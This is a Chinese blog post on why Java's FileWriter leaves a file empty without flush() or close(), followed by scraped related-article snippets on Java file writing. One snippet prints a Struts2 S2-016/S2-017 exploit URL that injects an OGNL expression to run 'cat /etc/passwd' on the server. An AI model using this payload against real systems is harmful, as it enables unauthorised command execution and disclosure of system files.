当FileWriter没有flush的时候,不写入文件

我要实现将写在Console上的内容保存在一个文件里,就是控制台记录器

先看这个

public static void main(String[] args) {
        Scanner s = new Scanner(System.in);
        String text = s.nextLine();
        Class clazz;
        try {
            clazz = Class.forName("com.mingrisoft.RecordConsole");
            FileWriter f = new FileWriter("E:\\"+clazz.getSimpleName()+".txt");
            f.write(text);
            System.out.println("成功");

        } catch (ClassNotFoundException e1) {
            e1.printStackTrace();
        }catch (IOException e) {
            e.printStackTrace();
        }

    }

已走到"成功",而文件是空的

当我加上fileWriter.flush()后

public static void main(String[] args) {
        Scanner s = new Scanner(System.in);
        String text = s.nextLine();
        Class clazz;
        try {
            clazz = Class.forName("com.mingrisoft.RecordConsole");
            FileWriter f = new FileWriter("E:\\"+clazz.getSimpleName()+".txt");
            f.write(text);
            System.out.println("成功");
            f.flush();
        } catch (ClassNotFoundException e1) {
            e1.printStackTrace();
        }catch (IOException e) {
            e.printStackTrace();
        }

    }

说明flush()很重要

关于flush,如果此流已保存缓冲区中各种write()方法的任何字符,则立即将它们写入预期目标,如果该目标是另一个字符或字节流则刷新,这就是为什么文件内容不是添加,而是只有一条最新运行的。

close()前会自动执行flush()

写上close()也很重要

时间: 2024-10-08 09:46:10

当FileWriter没有flush的时候,不写入文件的相关文章

Java IO流 之 FileWriter 以字符写入文件

http://www.verejava.com/?id=16994663236510 package com.io; import java.io.*; public class TestWriter { public static void main(String[] args) { Writer writer=null; try { writer=new FileWriter(new File("res/writer_test.txt")); //向文件中写入数据 String c

Struts2 S2-016/S2-017 命令执行带回显、写入文件,看web路径、getshell exp整理

带回显命令执行: http://www.example.com/struts2-blank/example/X.action?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'cat','/etc/passwd'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew ja

java写入文件的几种方法分享

转自:http://www.jb51.net/article/47062.htm 一,FileWritter写入文件 FileWritter, 字符流写入字符到文件.默认情况下,它会使用新的内容取代所有现有的内容,然而,当指定一个true (布尔)值作为FileWritter构造函数的第二个参数,它会保留现有的内容,并追加新内容在文件的末尾. 1. 替换所有现有的内容与新的内容. new FileWriter(file); 2. 保留现有的内容和附加在该文件的末尾的新内容. new FileWr

java写入文件的几种方法

一,FileWritter写入文件 FileWritter, 字符流写入字符到文件.默认情况下,它会使用新的内容取代所有现有的内容,然而,当指定一个true (布尔)值作为FileWritter构造函数的第二个参数,它会保留现有的内容,并追加新内容在文件的末尾. 1. 替换所有现有的内容与新的内容. new FileWriter(file);2. 保留现有的内容和附加在该文件的末尾的新内容. new FileWriter(file,true); 追加文件示例 一个文本文件,命名为“javaio-

JMeter中BeanShell实现写入文件

1.首先F:\test.txt文件为空 2.定义JMeter参数 3.编写BeanShell代码 public static void execParam() { String getdata = vars.get("v1"); //vars.get("v1"):意思是获取JMeter的参数值,然后将获取的值赋值给getdata变量 //用以下方式也可以://String getdata = "${v1}"; //String getdata =

java 将内容写入文件 txt

@Test //将内容写入文件 public void xieru() throws Exception{ FileWriter fileWriter=new FileWriter("d:\\Result.txt"); int [] a=new int[]{111,222,333,444,555,666}; for (int i = 0; i < a.length; i++) { fileWriter.write(String.valueOf(a[i])+"\n&quo

java写入文件的三种方式比较

1.FileOutputStream方式 2.BufferedOutputStream方式 3.FileWriter方式 经过多次测试,发现不缓存的FileOutputStream会比较慢,当文件小的话,关系不大,但是当文件大时,消耗的时间就会有很明显差别 package fileTest; import java.io.BufferedOutputStream; import java.io.File; import java.io.FileOutputStream; import java.

对象写入文件和从文件中重构到对象

//将对象写入文件中 Game game = new Game(); game.Level = 2; game.Player = "Tom"; FileStream fs = new FileStream(@"game.bak",FileMode.OpenOrCreate,FileAccess.Write); StreamWriter sw = new StreamWriter(fs); sw.WriteLine(game.Player); sw.WriteLine

运用BufferedWriter把数据写入文件

public class WriteReadFiles { private static Logger log = LoggerFactory.getLogger(WriteReadFiles.class); public boolean writeFile(String content) { String filename = "E:/java_src/MVCDemo3/MVCDemo3/accounts.txt"; try { File f = new File(filename)

Java 读取、写入文件——解决乱码问题

读取文件流时,经常会遇到乱码的现象,造成乱码的原因当然不可能是一个,这里主要介绍因为文件编码格式而导致的乱码的问题.首先,明确一点,文本文件与二进制文件的概念与差异. 文本文件是基于字符编码的文件,常见的编码有ASCII编码,UNICODE编码.ANSI编码等等.二进制文件是基于值编码的文件,你可以根据具体应用,指定某个值是什么意思(这样一个过程,可以看作是自定义编码.) 因此可以看出文本文件基本上是定长编码的(也有非定长的编码如UTF-8).而二进制文件可看成是变长编码的,因为是值编码嘛,多少